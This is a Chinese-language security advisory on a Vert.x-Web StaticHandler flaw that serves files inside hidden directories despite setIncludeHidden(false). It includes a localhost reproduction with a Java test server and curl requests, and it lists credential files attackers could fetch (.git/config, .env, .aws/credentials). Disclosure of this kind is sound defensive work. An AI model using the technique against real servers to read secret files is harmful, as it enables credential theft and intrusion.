本文详细分析了Vert.x-Web框架中StaticHandler组件的访问控制缺陷,该漏洞导致隐藏目录下的文件可能被公开访问,涉及敏感信息泄露风险和完整复现步骤。
漏洞详情
包信息
- 包管理器: Maven
- 受影响包: io.vertx:vertx-web
受影响版本
- < 4.5.22
-
= 5.0.0, <= 5.0.4
已修复版本
漏洞描述
Vert.x Web的StaticHandler在配置setIncludeHidden(false)时,其隐藏文件保护功能存在缺陷。当前实现中,只有最终路径段(即文件名)以点(.)开头的文件才会被视为"隐藏"文件并被阻止访问。但在以下情况下该逻辑会失效:
- 隐藏目录下的文件:例如
/.secret/config.txt - 虽然.secret是隐藏目录,但config.txt文件本身不以点开头,因此会被正常提供
- 实际影响:放置在隐藏目录(如
.git、.env、.aws)中的敏感文件可能变得公开可访问
因此,该行为不符合includeHidden=false配置的预期,该配置本应保护所有隐藏文件和目录。此缺陷可能导致敏感信息意外暴露。
复现步骤
1. 准备测试环境
1
2
3
4
5
6
7
8
9
|
# 创建目录结构
mkdir -p src/test/resources/webroot/.secret
mkdir -p src/test/resources/webroot/.git
# 放置测试文件
echo "This is a visible file" > src/test/resources/webroot/visible.txt
echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt
echo "SECRET DATA: API_KEY=abc123" > src/test/resources/webroot/.secret/config.txt
echo "Git config data" > src/test/resources/webroot/.git/config
|
2. 实现测试服务器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
import io.vertx.core.AbstractVerticle;
import io.vertx.core.Vertx;
import io.vertx.ext.web.Router;
import io.vertx.ext.web.handler.StaticHandler;
public class StaticHandlerTestServer extends AbstractVerticle {
@Override
public void start() {
Router router = Router.router(vertx);
// 配置为不提供隐藏文件
StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot")
.setIncludeHidden(false)
.setDirectoryListing(false);
router.route("/*").handler(staticHandler);
vertx.createHttpServer()
.requestHandler(router)
.listen(8082);
}
public static void main(String[] args) {
Vertx vertx = Vertx.vertx();
vertx.deployVerticle(new StaticHandlerTestServer());
}
}
|
3. 确认漏洞
1
2
3
4
5
6
7
8
9
10
11
|
# 正常文件(可访问)
curl http://localhost:8082/visible.txt
# 结果:200 OK
# 隐藏文件(正确被阻止)
curl http://localhost:8082/.git
# 结果:404 Not Found
# 隐藏目录下的文件(存在漏洞)
curl http://localhost:8082/.git/config
# 结果:200 OK - 返回Git配置内容
|
潜在影响
1. 信息泄露
可能被暴露的敏感文件示例:
.git/config:Git仓库设置(如远程URL、凭据)
.env/*:环境变量(API密钥、数据库凭据)
.aws/credentials:AWS访问密钥
.ssh/known_hosts:SSH主机信任信息
.docker/config.json:Docker注册表凭据
2. 攻击场景
- 攻击者可以猜测常见的隐藏目录名称并枚举其下的文件名来访问机密数据
- 特别是对
.git/HEAD、.git/config、.git/objects/*等文件的访问可能允许完整重建源代码
3. 受影响范围
- 受影响版本:Vert.x Web 5.1.0-SNAPSHOT(可能包括更早版本)
- 环境:所有操作系统(Windows、Linux、macOS)
- 配置:所有使用
StaticHandler.setIncludeHidden(false)的应用程序
参考信息
安全指标
严重程度
CVSS v4基础指标
可利用性指标:
- 攻击向量:网络
- 攻击复杂度:低
- 攻击要求:存在
- 所需权限:无
- 用户交互:无
脆弱系统影响指标:
弱点分类
- CWE-552:外部各方可访问的文件或目录
- 产品使文件或目录可被未经授权的参与者访问,即使它们本不应该被访问